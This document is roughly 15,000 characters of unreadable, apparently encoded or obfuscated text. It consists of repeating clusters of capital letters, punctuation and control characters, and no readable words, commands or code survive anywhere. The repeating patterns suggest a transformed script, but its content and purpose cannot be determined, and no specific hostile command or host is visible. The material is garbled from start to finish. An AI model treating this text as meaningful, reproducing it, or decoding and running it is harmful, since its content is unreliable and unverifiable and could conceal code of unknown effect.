UPWVTS
RSTTON\mGGGCRU8GGZGWTON\mGGCPP	GGGGGZGG8U	^ 
TON\mGGCWQVVQT_SGGGGGZGGGON\mGGGGGGGGOCQ GGGGGC	VRNGGmGC8VQRPTGGGGGGZGGGGOC	VRGZZZGGC	
QRVGGIGGWW RUOUWR_NGAAGGFCRU8NGGGGGGO8Q TOUWRTNOC	VRKGJOWLWVNNGZZZGGWW RUOUWR^NGAAGFCPP	N\mCT 	GGGGGZG'	QU 
OUWSPNOC	VRN\mGGGGGGGGGGGOCT 	NGmmmGGGGGCWQVVQT_S<C	VR:GGZGGGGGCT 	<^8UVUVOUWS_N:GGIGGG@@GIGGCT 	<8Q TOUWS^N:GGGIGGOC8VQRPTGGGXGGGGGWW RUOUWQWNGGGIGGG	QU 
OUWQVNONGG]GGEEN\mmGmGGGGGmGGGGGGGGGGOC8SWRU_PR	GGGGCGGGGGGZYGGCR_VQT 8NGGGGGmHHG07G3G%G
G
 mmGGGCP_QR8WGZGGT 	_^O8Q TOUWQUNOCKGGGOULTNNKGCR_VQT 8N\mGGGGGGOCP_QR8WGZZZGGG@W@GGGGGGG	QU 
OUWQUNOCP_QR8WKGJUNGZZZG^8UVUVOUWQTNNGGGGCP_QR8WGGGGIZG	QU 
OUWQWNGGGIGG8Q TOUWQSNON\mmmmGGCWQVVQT_S<C:GZGCP_QR8W\mGGGGGGmGGGGGG'8	O	QU 
OUWQRNKGGCWQVVQT_SKGG8Q TOUWQQNN\mGGGG	GmGT_TV 		^O^8UVUVOUWRPNN\mGGGGGGmGGGGO3GGGC  PNGGmmmmWS	V VQPO	QU 
OUWQPNKGGC  PN\mGGGGGGGO"	GGGC  PNGGmGGmmmmmmmG		GGGT 	_^OC	VRKGCR_VQT 8NmmmGmGGCT 	GGGZGGGGGG'^8UVUVOUWSPNOC	VRN\mGGGOFCT 	NGG	GG@W@\mGCQ8
	^GZGGCT 	<^8UVUVOUWQ_N:GIGG@@GGGIGGGCT 	<	QU 
OUWS^N:\mGGGGOCT 	<WW RUOUWQ^N:GGYGGGOVWS_S_UL^SNNGGGGGG	GGG8Q TOUWPWNGGIGGGCQ8
	^\mGGGGCWUQGGZGGGGG'8Q TOV^RVNOC	VRN\mmmGGG	GCQ8
	^GGGIGGG@@GGGIGGGGGOO8Q TOUWV_NOCWUQNGGAAGGG^8UVUVOV^__NOCWUQKGGGCR_VQT 8NGFZZGNGGGGXG@V@GGGG]G@W@N\mGGGGGGmGG		GGGWU ^ONmGGmGGC8GZGG	QU 
OUWUWNO8Q TOUWU_NNGGGXGGG 8	O8Q TOUWWNKGEENG]GGGEE\mmmmGGG   R
URON\mGGCRQ8 GZGGG^8UVUVOUWPVNOWW RUOUWU_NNGXGGGGG 8	O^8UVUVOUWWNKGGGEENGGGGG]GGGGEE\mGmmmGGGGGGGGOCRQ8 GGZZZGC8NG'8	OWW RUOUWWNN\mmGGGGGm		GG   R
URONmGGGGGmGGGGGmGGGGGGOF	O	QU 
OV_TVNNNGG	\mGGGGGC	
QRVGGGZGG
U	TWQQON\mGGCW	WGGZGGGGGGRU^W
 ON\mGGGGGGGGC
^Q
GGZG^U  

VRO&%47&3/GGIGGGG8Q TOVTSRNKGOVSJQNNGIGG	QU 
OVTSQN\mGGC^UP	GZG^U  

VRO&%47&3/GIGGG	QU 
OUWTRNKGGGGOVWJUNNGGGGGGIG	QU 
OUWPUN\mCWTWVGZGGGGGG^U  

VRO&%47&3/GGIGGGGGWW RUOUWPTNKGGOV[[TNNGGGIGGGG	QU 
OUWPUN\mGCRTRGGGGZGGGG^U  

VRO&%47&3/GIGG^8UVUVOVSWVNKGOSV9TTNNGGIGGGGGGWW RUOUWPUN\mGCURSW	GZG^U  

VRO&%47&3/GIGG	QU 
OVSVQNKGGGGGOVRJPNNGGIGGGWW RUOUWPSN\mGC
GGGGGZGGGWW RUORS_NGIGG^U  

VRO&%47&3/GIGGG@ @KGGGGOUV^9UVVNN\mGGCUTQ8GGGZGGGOmC	
QRVGIG8Q TOUWVTNGZYG8Q TO^VRNKmGC	
QRVGIGGWW RUOUWPRNGZYGG8Q TOUWPQNKmGGGGGGN\mGGGGGOCUTQ8GGGGC	VRGGGGZYGCNGGmGGGGGGOF'WW RUOUWRRNOC	VRNNG		\mGGGCWUQGGGGGGZGG'	QU 
OV^RVNOC	VRN\mmmmGGOCWUQGGZZZGGNGGG		\mGGCW8GGGGZGGGGG^8UVUVO^UWNGGGIGCGGIGGG8Q TO^UVNGGGIGGCGGIGG	QU 
OUWPPN\mGGGGC_U UGZGG	QU 
OV^_VNOCW8KGGGGEEKGGCWUQN\mGGGOC_U UGFZZGCWUQNGSS8^

TVOC	VRKGGC_U UN\mmmmGGmCSW_GZGGC	
QRVGGGIGGGGGWW RUORSQN\mGGGGGGO'	QU 
OUWRRNOCSW_NNGmmmmCV	TPRGGZG'	QU 
OUWP_NOCSW_N\mGGGGGGOWW RUOUWV_NOCV	TPRNGAAGGGCV	TPRGGFZZGGGGGEENGGmGGGGGGGOWW RUOUWP^NO8Q TOUW_WNKGGG8Q TOUW_VNOCV	TPRKGGGGWKGGOUULUP_NNNGGGG^8UVUVOV^__NOCV	TPRKGG	QU 
OVRR^NNGZZZGGWNGm



T_WOCSW_KGOSUPJPNN\mU	U8OCSW_N\mGGGGGGGmGCPWRGGGZG8Q TOV^_VNO8Q TOUW_UNKGGEEKGCV	TPRN\mGGO	QU 
OUWV_NOCPWRNGGAAGGGGGCPWRGGFZZGGGCV	TPRNGSS8^

TVOCSW_KGGCPWRN\mGG	OCPWRN\mGGGGGGmGmHHGJmmGG	OCV	TPRN\mmmmGmmmmGGCT8WUTP_GZGGGG8Q TOUWWSNO^RRONNGIGGGWW RUOVSUN\mGGGGGGC8UP_PVVGZGGGGG	O8Q TOUW_TNNGGXG078$()3")38#.5GIGGGWW RUOVSUNG]GGGCT8WUTP_\mmGGGGCRT P 8VGZGGGOmGGGGGC	
QRVGGGGGIGG@H@GIGC
^Q
KmGGC	
QRVGGGIGGG@H@GGIGGC^UP	KmGC	
QRVGGIGGGG@H@GGIGGGCWTWVKmmmCW	WGGGIGGG@H@GGGGIGGGGCRTRKmCW	WGIGGGG@H@GGIGGCURSW	KmmGCW	WGGGIG@H@GGGGGIGGGGGC^UP	KmCW	WGGIGGG@H@GGIGCWTWVKmGGGGGGCT8WUTP_GGGGIGGGGGG@H@GIGGCRTRKmGGGCT8WUTP_GIGG@H@GGGGGGIGGGGCURSW	KmmmmGGGCT8WUTP_GIG@H@GGGIGGGGC^UP	KmGGGGGGGGCT8WUTP_GIGGGGGG@H@GIGCWTWVKmGGGGGC8UP_PVVGIGG@H@GGGGGIGGGCRTRKmGGC8UP_PVVGGGIGGGGG@H@GGGGIGGCURSW	KmC8UP_PVVGGGIGGGGG@H@GGGGIGGC^UP	KmGGGGGGC8UP_PVVGGGIG@H@GGIGGGCWTWVKmGGGGGGGN\mGmmGGGGGC
GGZGTR8SQ^PUTTON\mGGGCRT P 8V<:GGZGGGC
<V:\mCRT P 8V<:GZGGGC
<V:GIGG	QU 
OUW_SN\mGG	OC
N\mGGGGGGO8Q TOUWPVNO	QU 
OUWWQNNNGGGGmGGGGOONG'WW RUOUWWQNOC	
QRVGGGIG8Q TOUW_RNGIGGGGC
^Q
NGGGGGC	PT	NGGGCRT P 8V<:GGGZGGGGGC	PT	\mmmGGGOONGG'	QU 
OUWWQNOC	
QRVGGGGIGGGGWW RUOUW_QNGGGGIGGGGC
^Q
NGGGGGGC	PT	NGCRT P 8V<:GGZGGGGGC	PT	\mmmGOONGGGG'8Q TOUWWQNO&%47&3/GGGIGG8Q TOVQRSNGGGGGGIGGGGC
GGIGGG^8UVUVOTWUNNGGC
T^8NGCRT P 8V<:GGGGGGZGC
T^8\mGGGGGGGGGOONGG'	QU 
OUW_PNOC	
QRVGGGGIGG@H@GGGGIGGGGGC
GGIG8Q TOTWUNNGGGGGC
T^8NGGGGCRT P 8V<:GZGGC
T^8\mGGGGGOONGGG'8Q TOUW__NOCW	WGGIGG@H@GGGGIGGC
GGGIGGG8Q TOTWUNNGGGGGGGGGC
T^8NGGGGCRT P 8V<:GGGGGZGGGC
T^8\mGGOONGGG'WW RUOUW__NOCT8WUTP_GGIG@H@GIGGGGC
GGGGGGIGG^8UVUVOUW_^NNGGGGGC
T^8NGGGGGCRT P 8V<:GGZGGGGC
T^8\mGGGOONGGGGGG'	QU 
OUW__NOC8UP_PVVGIGGG@H@GGGGIGC
GGGGIGG^8UVUVOUW^WNNGGC
T^8NGGGCRT P 8V<:GZGGGC
T^8\mGGGGmCRTV^GZGGGGG^U  

VRO&%47&3/GGGGIGGGGG@ @KGGGOWTLWRNN\mGGGCW VGGGZGGO&%47&3/GGIGG^8UVUVOVQRRNKGGGC	
QRVKGGGCW	WKGGGGCT8WUTP_KGGC8UP_PVVN\mGGGGGGGGGOCW VGGGGGGC8 NGGGGmmGGGGGGO'8Q TOVT^VNOC8 NGGGAAG'	QU 
OV^SWNOC8 NNGG
TT^	SOC8 GGIGGGG^8UVUVOVQRVNGIGCRTV^KG^8
U_U
ONKGGGG	QU 
OUW^VNN\mmmGGmGGO	QU 
OUW^UNO	QU 
OUW^TNNNGGmGGGGOCW VGGGGGC8 NGmmmGOO	QU 
ORS^NKGGGGGG8Q TOUW^SNKGGG^8UVUVOUW^RNKG8Q TOUW^QNKG8Q TOUW^PNKGGWW RUOUW^_NKGGWW RUOUW^^NKGGG	QU 
OUVWWNKGWW RUOUVWVNNGGGGGCS
NGGGGGmGGGGGGGOONGG'	QU 
OUW^TNOC8 GGIGG@H@GGGIGGCS
GGIGGGG@M@NGGGGGGGC
S^NGGGGGGCRT P 8V<:GZGC
S^\mmmmGGGGmHHG07G&G%G	GmmmmGGGGGGGGOONGGG'8Q TOUW^TNOC8 GGGGGIGGG8Q TOUVWUNNGGC
R8TP8^NGGGCRT P 8V<:GGGGZGC
R8TP8^\mmmmGGGmGGGm	OCRTV^KGGCW VKGC8 KGCS
KGC
S^KGC
R8TP8^N\mCRSV8VURGGGZGGGO&%47&3/GGGIGGWW RUORQSNKGGGC	
QRVGGGGGIGGGG	QU 
OVSPUNN\mGGGGGOCRSV8VURGGCT_	V NGGmGGOF'	QU 
OUVWTNOCT_	V NNGGG		\mGGCWUQGGZGGG'	QU 
OUWP_NOCT_	V N\mmmGGGOCWUQGGAAGG	QU 
OUVWSNOCWUQKGG	QU 
ORQRNNGGGGGGFZZGGGGNGmGGGGCWUQGGGGZGG	QU 
OUVWRNOWW RUOVVRPNGIGGG8Q TO^QTNOC^UP	KGGGG@H@NGGGGGIGGGG	QU 
OVVQWNKGGE;	EKGGCWUQN\mGGGGGO8Q TOUWV_NOCWUQNNGGmGCWUQGZGG	QU 
OUVWRNO8Q TOVVR^NGGIGG^8UVUVO^QTNOC^UP	KGGGGG@H@NGGIGGGG8Q TOVVQWNKGGE;	EKGGGGCWUQN\mGGmmmmGGO	QU 
OUWV_NOCWUQNNGGGGmGGGCWUQGGGZGG8Q TOUVWQNO	QU 
OVVQVNGGGIGGG8Q TOUVWPNOC^UP	KG@H@NGIGGGG8Q TOUVW_NKGGGGGE;	EKGGCWUQN\mmHHGGGG07G%G3	
mmGGGOWW RUOUWV_NOCWUQNNGSS8^

TVOCT_	V KGGGGGGCWUQN\mmGGGGGGmmmmGGGGGGGCRQSU		VGGZGGGGGG&%47&3/GGIGG	QU 
OUVW^N\mGGGGOF'WW RUOUVWTNOCRQSU		VNNGmGGGCS	PGGZGGGWW RUOUWWSNO&%47&3/NGIGGGGGG	QU 
OUVVWN\mGGGO'8Q TOUVWTNOCS	PNNGGGGGCRQSU		VGGGZGGGGCS	P\mmGGGGmGGGGO'8Q TOUVWTNOCRQSU		VNGGGGGAAGG'^8UVUVOUVVVNOCRQSU		VNNGGGmmGGGGC8GGGGGGZG'	QU 
OUVVUNOCRQSU		VN\mGGO^8UVUVOUWV_NOC8NGGGGAAGWW RUOUVWSNOC8KGG^8UVUVORPWNNGGGFZZGGNGGmC_8GGGZG^8UVUVOUVWQNOWW RUOUVVTNKGGEEKGC8N\mGGGO	QU 
OUWV_NOC_8NGGGGGAAGGGGC_8GGGGGFZZGGC8GGGGGGAAGW^RTOC_8NNGmGGC
R8WGGZGG'^8UVUVOVQR_NOCRQSU		VN\mGGOSS8^

TVOCRQSU		VKGGC_8NGGGAAGGGC
R8WNG'8Q TOUVVSNOCRQSU		VKGGGC
R8WN\mGGGGGmmGGG	OC_8KGGGGC
R8WN\mGGmmmm	OC8N\mmmmGGGGmG	OCRQSU		VKGGCS	PN\mGGGC_S  SW GZGGGG8Q TOUW^UNO^8UVUVOUWT^NNGGXGGG'8Q TOUWT^NO^8UVUVOUWSWNNGGGGGG]GGG\mGGOFC_S  SW GGGGGGGGC_S  SW GGZZZGEENGGGC_S  SW GZGGG	QU 
OUVVRN\mGGC	TR8
GGGGZGO&%47&3/GGIGC_S  SW KGGGGGGC	
QRVGGGGGIG@H@GGGGGIGC_S  SW N\mGGGGOC	TR8
GGGGGGC P
^Q_^NGGGmGGGGGOF'	QU 
OUVWTNOC P
^Q_^NNG		\mGGGCWUQGGGGGZGG'	QU 
OUVVQNOC P
^Q_^N\mGGGGGOCWUQGAAGWW RUOUVWSNOCWUQKGGGGGGWW RUORQRNNGGGGFZZGNGGmGCWUQGGGGGZG	QU 
OUVWQNO8Q TOUVVPNGGIGGGG^8UVUVOUVV_NOCWTWVKG@H@NGIGG	QU 
OUVV^NKGEEKGCWUQN\mmmGO	QU 
OUVUWNOCWUQNNGGGSS8^

TVOC P
^Q_^KGCWUQN\mmGGGGGGmC _W	WGGGGZGGOmmGC	
QRVGGGGGIG@H@GIGGGCWTWVKmCW	WGGIGG@H@GGIGGCWTWVKmGCT8WUTP_GIGGG@H@GIGCWTWVKmGN\mGGCGZG	QU 
OUVUVNOCRT P 8VKGGGC _W	WN\mGGGGGGGGGGGGGGOC _W	WGGGC	S^RWNGmGGGGGGO'WW RUOUVWTNOC	S^RWNNGm



T_WOC	S^RWKGGGOSV_LUNN\mSS8^

TVOC	S^RWKG^8UVUVOUVUUNN\mGGmGGGGGGGGmmmGGOCGGGGC	S^RWNGmGGGGGGGO'8Q TOUVUTNOC	S^RWNNGGGGGmGGGG



T_WOC	S^RWKGGOP^TJTPTNN\mmmGU	U8OC	S^RWN\mGGGGGmGmGGGGGOT W 8U8ONGGCPT	WNGGGmHHGGG	 mmGGGGGGOF'^8UVUVOUVUTNOCPT	WNGGGGGF'8Q TOUVVVNOCPT	WNNG		\mCWUQGGZGGGG'WW RUOUVVQNOCPT	WN\mmmmGGGGGGGO8Q TOUVUWNOCWUQNNGGmC
8S
  UGZGGGG_ Q^S_W
W OCWUQKGGGWW RUOUVUSNKGG	QU 
OUVURNN\mGGGGGC
8S
  UGGGZGGGG_ Q^S_W
W OC
8S
  UKGGGG8Q TOUVUQNKGGGWW RUOUVURNN\mGGGGGGO8Q TOUVUWNOC
8S
  UNGGGGGAAGGGGGC
8S
  UGGGFZZGCWUQNGGGSS8^

TVOCPT	WKGGC
8S
  UN\mGG	OC
8S
  UN\mmmmGGmGGGmGGGGGGGGGGO8Q TOUW^UNO^8UVUVOVR__NNGGGGGGAAGG	QU 
OUVUPNO^8UVUVOVR^WNNNGGmHHGG	
J
GG.	G		mmGGGGGCGGGGZGGPTW^ VUVON\mGGGOCGGGFZZGNGGmGGGGC QS	_TGGZG'WW RUOUVU_NOCKGG@@KGGGGWKGGWN\mGGGGGOC QS	_TNGGmG'	QU 
OVQWRNOC QS	_TN\mmmGG'WW RUOVQWUNOC QS	_TN\mGGGGmHHG	
	GGJmmGGGGmGmGGGGGGGO	QU 
OUVUPNO8Q TOUWVSNNNGGGmGGGGGCQUP GGZG^U  

VRO&%47&3/GGGGIGGGGGWW RUOVRTPNKGOUWT9V^TNN\mGG'8	OCQUP N\mC_T	^UPGGZGGG8Q TOUVU^NO	QU 
OUWU_NNGXG' 8	O^8UVUVOUVTWNKGONNGGG]GGGON\mmmGGGGO	QU 
OUWTVNOC_T	^UPNNGGGmGGGGGGGGOOC_T	^UP<@@:NNGGU	U8OC_T	^UP<@@:N\mGGGGGGOOC_T	^UP<8Q TOUWTWN:NGAAGGGG^8UVUVOUWTVNOC_T	^UP<	QU 
OUVTVN:NNGGmmmmGGGGGGGGOC_T	^UP<WW RUOUVTVN:GGGGC8NGGmGGO8Q TOUVTUNOC8NGGGGAAGGGGOC8<@@:NNGGU	U8OC8<@@:N\mmmGGGmGmGGG'8	O	QU 
OUVTWNN\mGGGGGGGG'8	O^8UVUVOV^WVNN\C
RVZ7/78.)38*&?H7/78.)38*&?\C_RZC
RVLUP\mmm'8	O	QU 
OVR_VNN\m'8	O^8UVUVOUVTTNN\mGGG'8	O^8UVUVOVRUWNN\mmmGG'8	OWW RUOVSR^NN\mGGGGGG'8	O	QU 
OUVTSNN\m'8	O^8UVUVOVSRUNN\m	OC_T	^UPKGGGGC8N\mGGGGGGmGGGGO8Q TOUVU^NOWW RUOUVTRNNNGmmmGG'8		O8Q TOPTQNN\mmGGG'8		OWW RUOVQ_TNN\mG'8		OPS_US^_ONN\mmGGmGGGGO	QU 
OUVTQNO8Q TOPSTNNNGGGmmmmG'888O^8UVUVOUVTPNN\mmmm'888O^8UVUVOUVT_NN\mG'888O	QPRONN\mGGGGmGGGGGO3GGGGGGC  PNGGmmmGGGWS	V VQPO	QU 
OUVT^NKGGC  PN\mGGGGGGGGGGO"	GC  PNGGmGGmHHG'
	GmmmmGmGGGGG		GGWTONmmmGGGC Z7/78.)38*&?H7/78.)38*&?\CPU	R_RZC LTU\mGGGOF	O^8UVUVOV_TVNNNGGGGGG	G\mGGGGC	
QRVGGGGGZGGGGG
U	TWQQON\mGC	W_W_TGZGGC	
QRVGGGIGG	QU 
OUWPRN\mGCWU W
GGZG^8UVUVOUWWRNO^RRONKGGGWW RUOUVSWNN\mmmmGGGGCPR
GGZGGG	W
_RUTTON\mmGGGGGGGGGGOFCPR
GGGGGGGGGG	QU 
OUWRSNOCPR
NGG[GGOSPRLURNGGGGG8Q TOUWRSNOCPR
NGGGYGGOWTPT^LW_PNGGGGGGGGGS
WTWROCPR
NGGGGGFW^RTOCPR
NNG	G\mGGC	GGZGGGG'WW RUOVRVVNOC	W_W_TNGGGGXGGGG'	QU 
OUVSVNOC	W_W_TNG]GGEE\mGGGGGGOFWW RUOUVUWNOC	NNGGGGGGmWS	V VQPO	QU 
OPV^NKGGWW RUOVS_SNN\mGGG	GG\mGGGGmHHG07G/	 G%]G	 JGJmmGC	GGZG8 	  OC	N\mGGCS	UGZGGGGG^8
U_U
ONGIGGGGG@]@GIGGG^U  

VRO&%47&3/GGIGGGWW RUOUVSUNKGOTLRNN\mGGGGC_RS_8GZGGGGG	QU 
OUVSTNGGIGGCS	UGGIGGWW RUOUVSSN\mGGGGC U_WR
UGGZGGGG^8UVUVOUVSRNGGIGGCS	UGGGIGG8Q TOUVSSN\mmCR_RS


UGGZG^U  

VRO&%47&3/GIGG	QU 
OUVSQNKGOTLRNN\mCWW RVGGGGZGG^8UVUVOUVWQNO^8UVUVOUVSPNGIGCR_RS


UGGGGIGWW RUOUVS_NKGEEKGC	N\mGGGCW8TQGGZGGGGO^8UVUVOUVS^NOCWW RVKG	QU 
OUVRWNNGGFZZGGN\mGGGGGGGGGO^8UVUVOUVS^NOC	KGGC_RS_8NGFZZGGGGGGGGGGAAG	QU 
OUVS^NOC	KGC U_WR
UNGFZZGGGGGGAAGGFCW8TQNGG	GG\mmGC	GGGGZG8Q TOUVWQNOWW RUOUVRVNKGGEEKGGGCWW RVN\mGGOFWW RUOUVRUNOC	NNGGGGGmmmmWS	V VQPO8Q TOPV^NKGGG^8UVUVOVQSWNN\m	GGG\mmmGGGmC8VPW_
GGZGQT88^ON\mmmGGGGOFC8VPW_
NGG	GGGGG\mGGCQ T GGZGGGG	QU 
OUVRTNGIGGGGWW RUOUW_VNO	QU 
OV_TRNOCWU W
GGGGGIGO	 NGGGGVS^SONNKGWKGGGOVRJPNN\mGC ^QW	RSSGGGZGGGG_T^POmGG^8UVUVOPUWNKmGO@884+2 88@KGGGG@887+2 .)8%&4"QS88@KGGG@88 2&5#8)&*"88@KGGG@881"54.()88@NKmGGGGOCWU W
KGGC8VPW_
KGGGGGCQ T KGG^8
U_U
ONNmN\mGGGGGGOFC ^QW	RSSNGmGGGGGOO	NGG 8	OWW RUOVQUSNKGGWNGGGGYGGWNGGWS	V VQPO^8UVUVOUVRSNKGGGG	QU 
OUVRRNN\mGG	G\mGmGGGC	GGGGZG8 	  OC	N\mGCWGZGG8Q TOUVWQNO	QU 
OVRRSNKGEEKGC ^QW	RSSN\mCVQPGGGZGGGO	QU 
OUWRSNOC	NGGZZZGGWN\mGGOFCVQPNGmGGGOF
WS
_RPOWW RUOUVRSNNNGGGmGGGWS	V VQPO8Q TOUVRSNKGGG	QU 
OUVRQNN\m	G\mGmGGGGGGGOFUQUP8T^OC	W_W_TKGC	NNGmGGWS	V VQPO	QU 
OUVRSNKGGGWW RUOVRQVNN\mGGGGGGG	G\mmmmGmGGGGGGGGSWT

U
O^8UVUVOUVRSNN\mGGGGGmGGGOFUQUP8T^OC	W_W_TKGEENNGGGGmGGWS	V VQPO8Q TOUVRSNKGG^8UVUVOUVRPNN\m	GGGGG\mGGGGGmGGmGGC	TGZGGGGGT
8U_ OC	KGC_RS_8GGGGIGGGE;	EGIGGCWGGGIGE;	EGIGGC U_WR
UN\mGGGGGGGGOFSS8^

TVOC	W_W_TKGGGGGC	TNNGGGC 	RUZQVM^\CPWW	VZC 	RUJVR\m	GGG\mmmGGGmGGGGGGOCVQPNGGS_R^W8OC	W_W_TN\mmmG	GG\CWRWR

ZOW_ULWQN\CP^ZCWRWR

BVS\mmmGGGGGGGGGGO3GGGC  PNGmWS	V VQPO^8UVUVOUVRSNKGGGC  PN\mmmGGGG	GG\mGGGO"	GGC  PNGGGGGm	GG\mGGmGGGGmGGGG		GGGGGT W 8U8ONmmGGGGmmGGC^

V
V
GZGGON\mmGOF	QU 
OUVTQNO8Q TOUVR_NNNGGG	GGGC^

V
V
\mGGGGGC	GZGGO	O8Q TOUVR^NNGXG078$()3")38#.5G]GGO	O^8UVUVOV_TVNNGGGXGGG&%47&3/GGGIG^8UVUVO_STNG]GGGEENNGGIGGG8Q TOUVQWN\mGCTRTWS8GZGGO	 NGG' 8	O^8UVUVOVURQNKGGGEEN\mmmGGGGGGOCTRTWS8GGFZZGEENGC^

V
V
<:GZGGC	GIGGGCTRTWS8GIGGGG	QU 
OUVQVN\mGGC	TGGZGGGGO	 NGGGG' 8	O	QU 
OVURPNKGGEEN\mGGGGGGGGGGOC	TGGGFZZGGEEGGGAAGGGGC	TGGFZZGGGCTRTWS8NGC^

V
V
<:GZGGC	GGIGGGGC	TGIGGGG8Q TOUVQVN\mGG	GGC^

V
V
\mmmGGGm		GGGU	P
ONmGGGGGGmGGGGGGGGGmHHGGG	mmGGGGOF	O^8UVUVOV_TVNNGGGGGGGFWW RUOUVQUNOWW RUOUVQTNNNGG	\mGGGGOT W 8U8ONGGGGCTSNGGmGGC ^Q
^SGGGGGGZGGGRU^W
 ONGGIGGG^8UVUVOUVQSNGGGGGIGGG^U  

VROCTSKGGOP^9QPNNGGIGGGGWW RUOUVQRN\mGGGGGGGGOF'	QU 
OUVQQNOC ^Q
^SNNG		\mGGO'^8UVUVOUVQQNOCTSNGGAAGGGGG'	QU 
OUWW_NOCTSNGYGGGGGGWNGGG		\mC P^	_	VGZGG'WW RUOUVSVNOC ^Q
^SN\mGGGGOF8Q TOUVRUNOC P^	_	VNGGGGGC P^	_	VGGZZZGGEENG		\mGOSS8^

TVOCTSKGGGGC P^	_	VNNGGmGGGGGWS	V VQPOWW RUOPUVNKGG^8UVUVOUVQPNN\mGG'8	OWW RUOUVQ_NKG^8UVUVOUWQSNONKGG^8UVUVOUVQ^NN\mmmmGGGGGGGmGmGGGGGGGO3GC  PNGGGGGmHHGGmmWS	V VQPOWW RUOPUVNKGC  PN\mGGGGGGGGGO"	GGGC  PNGmGGGGGmGmGG		GGG8U	^ 
TONmmGmGGGGmGGGGGGOF	O^8UVUVOUVPWNNNGG	GGGGG\mC8S^RGZGGGGGGT W 8U8ON\mGGGGGGGGO
OC8S^RNNGGGG	G\mGC RUGGGZGGGGGO	NGG 8	O	QU 
OUVQ_NKGWN\mGGGOC RUGAAGGGGGWW RUOUWQSNONGGGJGGGGC RUG[GGGOVVPP^TJTVT^TNNGGGG	GGGGG\mCS	UGGGZGG^8
U_U
ONGGGIGGG@]@GGGGIG^U  

VRO&%47&3/GIGGG	QU 
OV_V_NKGOVLPNN\mmmGC_RS_8GGZGGG8Q TOUVPVNGGIGGGCS	UGGIGGGGGWW RUOUVSSN\mGGGGC U_WR
UGGZGG	QU 
OUVPUNGGIGCS	UGIGGG^8UVUVOUVSSN\mmmCQ T GGZG^8UVUVOUVPTNGGGIG	QU 
OUVPSNO8Q TOUVPRNO&%47&3/GGGIGGGO	 NGGGVS^SONNKGGGGGWKGGGGGGOVLPNN\mGGGGGCWU W
GGZG8Q TOUVPQNO^RRONKGGWW RUOUVSWNN\mGGGC8VPW_
GZGQT88^ON\mGGOFC8VPW_
NGGGG	GG\mmCSWRQW^GGZGGG_T^POmmmGGGG^8UVUVOPUUNKmGGO@884+2 88@KGGGGG@887+2 .)8%&4"QS88@KGGG@88 2&5#8)&*"88@KGGG@881"54.()88@NKmGGGOCWU W
KGGGC8VPW_
KGCQ T KGG^8
U_U
ONNmmGGGGGN\mGGGGGGOFCSWRQW^NGGGmHHG07GQIRG	]G	
G	mmGGGOO	NGGG 8	O8Q TOVQUSNKGGGGWNGGYGWNGGWS	V VQPOWW RUOPUVNKGWW RUOUVPPNN\m	GGGGGG\mGmHHG07GQIPG	G
	G	mmGGGCSWRQW^GGZG	QU 
OUVP_NO8Q TOVRRSNKGGGEEKGGGCSWRQW^N\mGGGGGGGOF8Q TOUVRUNOCSWRQW^NGGGCSWRQW^GZZZGEENGG	G\mGGGGOC8S^RGGGGGCPT	WNGGGmGGGOF'^8UVUVOUVQQNOCPT	WNNGGG		\mGC 8_R 8QGZGG	QU 
OUVQUNO	QU 
OVRW_NNGXGGGG'^8UVUVOUVP^NOCPT	WKGG@@NGGGGG]GG\mGGGGGGOC 8_R 8QGGGGFZZGGAAGGGGWW RUOUVQUNOWW RUOVRVRNNNG'OC 8_R 8QKG+($,8"?N\mGGGGGGGGC	GGZGG'^8UVUVOUVSVNOCPT	WN\mGGGGGGGOF^8UVUVOUVRUNOC	NNGGmGGWS	V VQPOWW RUOUV_WNKG8Q TOVS_SNN\mmGGGGGGOC 8_R 8QGGGFZZGNGmHHG07G%G3	
]G
GJ
mmGGGO8Q TOUV_VNO	QU 
OUV_UNNNG'OC 8_R 8QKGGG+($,82)N\mmmmGGG'OC 8_R 8QN\mGGmGG		\mmGmGGGO^8UVUVOUV_TNOC	NGGYGGGGGGOVWS_RWPLQ^NNGGC	GGZGG8 	  OC	N\mGGGOWW RUOUVS^NOC	KGC_RS_8NGGGGGFZZGGGGGGGGAAGGGGGWW RUOUV_SNOC	KGC U_WR
UNGFZZGNG	GG\mGGGGOF'WW RUOUV_RNOCPT	WNNG		\mGGC ^Q
^SGZGGGGGRU^W
 ONGGGIGGGG	QU 
OUVQSNGGIGG^U  

VROCPT	WKGGOQ[[VNNGIGGGG^8UVUVOUVQRN\mmGGGGGGGGC^RUGGZGGG^U  

VRO&%47&3/GGGGGGIGGGG8Q TOV_V_NKGGGGOPLVNN\C_	SPWZ7/78.)38*&?H7/78.)38*&?\C RTR PZC_	SPWLRS\mGC	GZG_ Q^S_W
W OC	KGG8Q TOUV_QNKGGGGWW RUOUV_PNN\C	^8

ZR_MU\CQ ZC	^8

JSU\mGGC	GGZGGGGG8Q TOUVP_NO8Q TOV_TWNKGGEEKGGC	N\mGGGOF	QU 
OUVRUNOC	NNGGmGGGGWS	V VQPO^8UVUVOUV_WNKG8Q TOUV__NN\mG		\mGGGGGGGmGGGGGGO	QU 
OUV_^NOC	KGG8Q TOUV^WNNGGFZZGGGGGG8Q TOUV^VNOC	KG^8UVUVOUWVVNNGFZZGNGmGGGC	RWQ	
TV	GGGGGZGGG'WW RUOUVQQNOC ^Q
^SNGGXGGGG'8Q TOUVSVNOC ^Q
^SNGGGGG]GG\mGGmmGGOF8Q TOUVRUNOC	RWQ	
TV	NGGGGGGC	RWQ	
TV	GGGZZZGGGEENGmmGGWS	V VQPO^8UVUVOUV_WNKGG^8UVUVOUV^UNN\mGG		\mmmGGGGmGGC	GGZGGC	RWQ	
TV	\mmmm	OC	RWQ	
TV	N\mGGmGC^RUU	PRGGGGZGSS^OC	N\mGGGO^8UVUVOUV^TNOC^RUU	PRNGGGAAGGC^RUU	PRGGFZZGEENGGGGmCWQ^GZG'WW RUOUVQQNOC ^Q
^SNGGXGG'	QU 
OUV^SNOC ^Q
^SNGGG]GGG\mGOF8Q TOUV^TNOCWQ^NGGGCWQ^GGGFZZGGGC^RUU	PRNGGGSS8^

TVOC ^Q
^SKGGC^RUU	PRN\mGG	OCWQ^N\mGGmGGGGGGG	OC^RUU	PRN\mmCGGGGZG	QU 
OUVUUN\mGGGGGGO^8UVUVOUV_TNOC	NGGGYGGWGAAGGG	QU 
OUV^VNOC	KG^8UVUVOUV^RNNGFZZGGGGGAAGGGG8Q TOUVPSNO^8UVUVOUV^QNOC	NKGJUNGGGFZZGGG^8UVUVOUV^PNNGGCP
P^Z7/78.)38*&?H7/78.)38*&?\CQ^ ZCP
P^LTU\mGCGGZGGEE\mGGGmGGC	
S
